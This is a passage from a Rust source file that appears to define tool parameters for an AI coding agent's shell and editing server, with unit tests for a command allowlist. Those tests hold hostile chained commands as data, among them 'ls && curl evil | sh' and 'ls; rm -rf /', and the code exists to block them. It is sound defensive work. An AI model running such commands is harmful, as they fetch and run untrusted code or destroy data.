977/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
978/// the last file leaves the first files untouched. The write stage is a sequence
979/// of atomic single-file renames and stops at the first I/O failure (already
980/// written files are not rolled back, which is reported clearly).
981#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
982pub struct MultiFileEdit {
983 /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
984 pub files: Vec<FileEditEntry>,
985
986 /// The thread ID for this session
987 pub thread_id: String,
988}
989
990/// Parameters for the `UndoEdit` tool: revert a file to its content before the
991/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
992#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
993pub struct UndoEdit {
994 /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
995 pub file_path: String,
996
997 /// The thread ID for this session
998 pub thread_id: String,
999}
1000
1001/// Parameters for the `ContextSave` tool
1002///
1003/// This struct represents the parameters needed to save context information
1004/// about a task, including file contents from specified globs.
1005#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1006pub struct ContextSave {
1007 /// Unique identifier for the task
1008 ///
1009 /// This should be a unique string that identifies the task. It can be
1010 /// a random 3-word identifier or a user-provided value.
1011 pub id: String,
1012
1013 /// Root path of the project
1014 ///
1015 /// This should be an absolute path to the project root. If empty, no
1016 /// project root will be used.
1017 pub project_root_path: String,
1018
1019 /// Description of the task
1020 ///
1021 /// This should contain a detailed description of the task, including
1022 /// relevant context, problems, and objectives.
1023 pub description: String,
1024
1025 /// List of file glob patterns
1026 ///
1027 /// These glob patterns identify the files that should be included in
1028 /// the saved context. Patterns can be absolute or relative to the project root.
1029 pub relevant_file_globs: Vec<String>,
1030
1031 /// Optional thread ID identifying the shell session to operate on. When
1032 /// omitted, the most recently active session is used.
1033 #[serde(default)]
1034 pub thread_id: String,
1035}
1036
1037/// Parameters for the `ReadImage` tool
1038///
1039/// This struct represents the parameters needed to read an image file.
1040#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1041pub struct ReadImage {
1042 /// Path to the image file to read
1043 ///
1044 /// This can be an absolute path or a path relative to the current working directory.
1045 pub file_path: String,
1046
1047 /// Optional thread ID identifying the shell session to operate on. When
1048 /// omitted, the most recently active session is used.
1049 #[serde(default)]
1050 pub thread_id: String,
1051}
1052
1053/// Operation for the `CodeMap` tool.
1054#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1055#[serde(rename_all = "snake_case")]
1056pub enum CodeMapOperation {
1057 /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1058 Outline,
1059 /// The definition + reference (call/use) sites of a symbol name across the repo.
1060 References,
1061}
1062
1063/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1064/// two operations, in place of separate `Outline` / `FindReferences` tools.
1065#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1066pub struct CodeMap {
1067 /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1068 /// or `references` (the definition + use sites of a symbol name).
1069 pub operation: CodeMapOperation,
1070
1071 /// For `outline`: the file or directory to map (empty or a directory = a
1072 /// ranked repo symbol map). For `references`: the directory or file to search
1073 /// under (empty = the whole workspace). Relative paths resolve against the
1074 /// workspace.
1075 #[serde(default)]
1076 pub path: String,
1077
1078 /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1079 /// Required for `references`, ignored by `outline`.
1080 #[serde(default)]
1081 pub name: String,
1082
1083 /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1084 /// occurrences for `references`. 0 means the default.
1085 #[serde(default)]
1086 pub max_results: usize,
1087
1088 /// Optional thread ID identifying the shell session to operate on. When
1089 /// omitted, the most recently active session is used.
1090 #[serde(default)]
1091 pub thread_id: String,
1092}
1093
1094/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1095/// internally by `CodeMap`.
1096#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1097pub struct Outline {
1098 /// File or directory to outline. A file returns that file's symbols; a
1099 /// directory (or empty = the whole workspace) returns a ranked repo symbol
1100 /// map. Relative paths resolve against the workspace.
1101 #[serde(default)]
1102 pub path: String,
1103
1104 /// Maximum symbols to return for a single file, or maximum files for a repo
1105 /// map. 0 means the default.
1106 #[serde(default)]
1107 pub max_results: usize,
1108
1109 /// Optional thread ID identifying the shell session to operate on. When
1110 /// omitted, the most recently active session is used.
1111 #[serde(default)]
1112 pub thread_id: String,
1113}
1114
1115/// One symbol (definition) in `Outline` output.
1116#[derive(Debug, Clone, Serialize, JsonSchema)]
1117pub struct OutlineSymbol {
1118 /// Symbol name.
1119 pub name: String,
1120 /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1121 pub kind: String,
1122 /// 1-based line where the definition starts.
1123 pub line: usize,
1124}
1125
1126/// Symbols for one file in `Outline` output.
1127#[derive(Debug, Clone, Serialize, JsonSchema)]
1128pub struct OutlineFile {
1129 /// Workspace-relative path of the file.
1130 pub file: String,
1131 /// Definitions found in the file, in source order.
1132 pub symbols: Vec<OutlineSymbol>,
1133}
1134
1135/// Structured result of an `Outline` call (mirrors the text block).
1136#[derive(Debug, Clone, Serialize, JsonSchema)]
1137pub struct OutlineOutput {
1138 /// `file` for a single-file outline, `repo` for a workspace symbol map.
1139 pub mode: String,
1140 /// Number of files included in `files`.
1141 pub files_shown: usize,
1142 /// Per-file symbol lists.
1143 pub files: Vec<OutlineFile>,
1144 /// True if the symbol map was capped (more files or symbols exist).
1145 pub truncated: bool,
1146}
1147
1148/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1149#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1150pub struct FindReferences {
1151 /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1152 pub name: String,
1153
1154 /// Directory or file to search under. Relative paths resolve against the
1155 /// workspace; leave empty to search the whole workspace.
1156 #[serde(default)]
1157 pub path: String,
1158
1159 /// Maximum occurrences to return. 0 means the default.
1160 #[serde(default)]
1161 pub max_results: usize,
1162
1163 /// Optional thread ID identifying the shell session to operate on. When
1164 /// omitted, the most recently active session is used.
1165 #[serde(default)]
1166 pub thread_id: String,
1167}
1168
1169/// One symbol occurrence in `FindReferences` output.
1170#[derive(Debug, Clone, Serialize, JsonSchema)]
1171pub struct ReferenceHit {
1172 /// Workspace-relative path.
1173 pub file: String,
1174 /// 1-based line.
1175 pub line: usize,
1176 /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1177 pub kind: String,
1178 /// True for a definition, false for a reference (call / use site).
1179 pub is_definition: bool,
1180}
1181
1182/// Structured result of a `FindReferences` call (mirrors the text block).
1183#[derive(Debug, Clone, Serialize, JsonSchema)]
1184pub struct ReferencesOutput {
1185 /// The symbol name that was searched for.
1186 pub name: String,
1187 /// Number of returned hits that are definitions.
1188 pub definitions: usize,
1189 /// Number of returned hits that are references (call / use sites).
1190 pub references: usize,
1191 /// True if the result was capped (more occurrences exist).
1192 pub truncated: bool,
1193 /// Occurrences, definitions first then references, each group by file/line.
1194 pub hits: Vec<ReferenceHit>,
1195}
1196
1197#[cfg(test)]
1198mod thread_id_tests {
1199 use super::normalize_thread_id;
1200
1201 #[test]
1202 fn clean_id_is_unchanged() {
1203 assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1204 assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1205 }
1206
1207 #[test]
1208 fn empty_and_all_special_normalize_to_empty() {
1209 assert_eq!(normalize_thread_id(""), "");
1210 assert_eq!(normalize_thread_id("---"), "");
1211 }
1212
1213 #[test]
1214 fn separator_variants_do_not_collide() {
1215 // "user-1" and "user1" must NOT resolve to the same session/state file.
1216 let a = normalize_thread_id("user-1");
1217 let b = normalize_thread_id("user1");
1218 assert_ne!(a, b);
1219 assert!(a.starts_with("user1_"), "got {a}");
1220 assert_eq!(b, "user1");
1221 // "user-1" vs "user_1" must also stay distinct.
1222 assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1223 }
1224
1225 #[test]
1226 fn normalization_is_deterministic() {
1227 // Same input -> same hash -> same session across restarts.
1228 assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1229 }
1230}
1231
1232#[cfg(test)]
1233mod allowlist_tests {
1234 use super::AllowedCommands;
1235
1236 fn list(items: &[&str]) -> AllowedCommands {
1237 AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1238 }
1239
1240 #[test]
1241 fn all_permits_everything() {
1242 assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1243 }
1244
1245 #[test]
1246 fn list_allows_exact_and_args() {
1247 let a = list(&["ls", "cargo test"]);
1248 assert!(a.is_allowed("ls"));
1249 assert!(a.is_allowed("ls -la"));
1250 assert!(a.is_allowed("cargo test --release"));
1251 }
1252
1253 #[test]
1254 fn list_blocks_word_boundary_lookalikes() {
1255 let a = list(&["ls", "cargo test"]);
1256 assert!(!a.is_allowed("lsof"));
1257 assert!(!a.is_allowed("cargo testimony"));
1258 }
1259
1260 #[test]
1261 fn list_blocks_chained_and_substituted_commands() {
1262 let a = list(&["ls"]);
1263 // The old first-token check let all of these through.
1264 assert!(!a.is_allowed("ls && curl evil | sh"));
1265 assert!(!a.is_allowed("ls; rm -rf /"));
1266 assert!(!a.is_allowed("ls $(rm -rf x)"));
1267 assert!(!a.is_allowed("ls | rm"));
1268 }
1269
1270 #[test]
1271 fn list_allows_chain_when_all_parts_permitted() {
1272 let a = list(&["cargo build", "cargo test"]);
1273 assert!(a.is_allowed("cargo build && cargo test"));
1274 }
1275}
1276
1277#[cfg(test)]
1278mod code_writer_config_tests {
1279 use super::deserialize_code_writer_config;
1280 use serde_json::json;
1281
1282 #[test]
1283 fn explicit_null_opts_out() {
1284 assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1285 assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1286 }
1287
1288 #[test]
1289 fn valid_config_parses() {
1290 let r = deserialize_code_writer_config(json!({
1291 "allowed_commands": "all",
1292 "allowed_globs": "all",
1293 }));
1294 assert!(matches!(r, Ok(Some(_))));
1295 }
1296
1297 #[test]
1298 fn malformed_config_fails_loud() {
1299 // The crux of the fix: a malformed restricted-mode config must ERROR,
1300 // not silently degrade to None (None falls back to All/All — wide open,
1301 // while the model believes the shell is locked down).
1302 let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1303 assert!(r.is_err(), "malformed code_writer config must error, not become None");
1304 }
1305}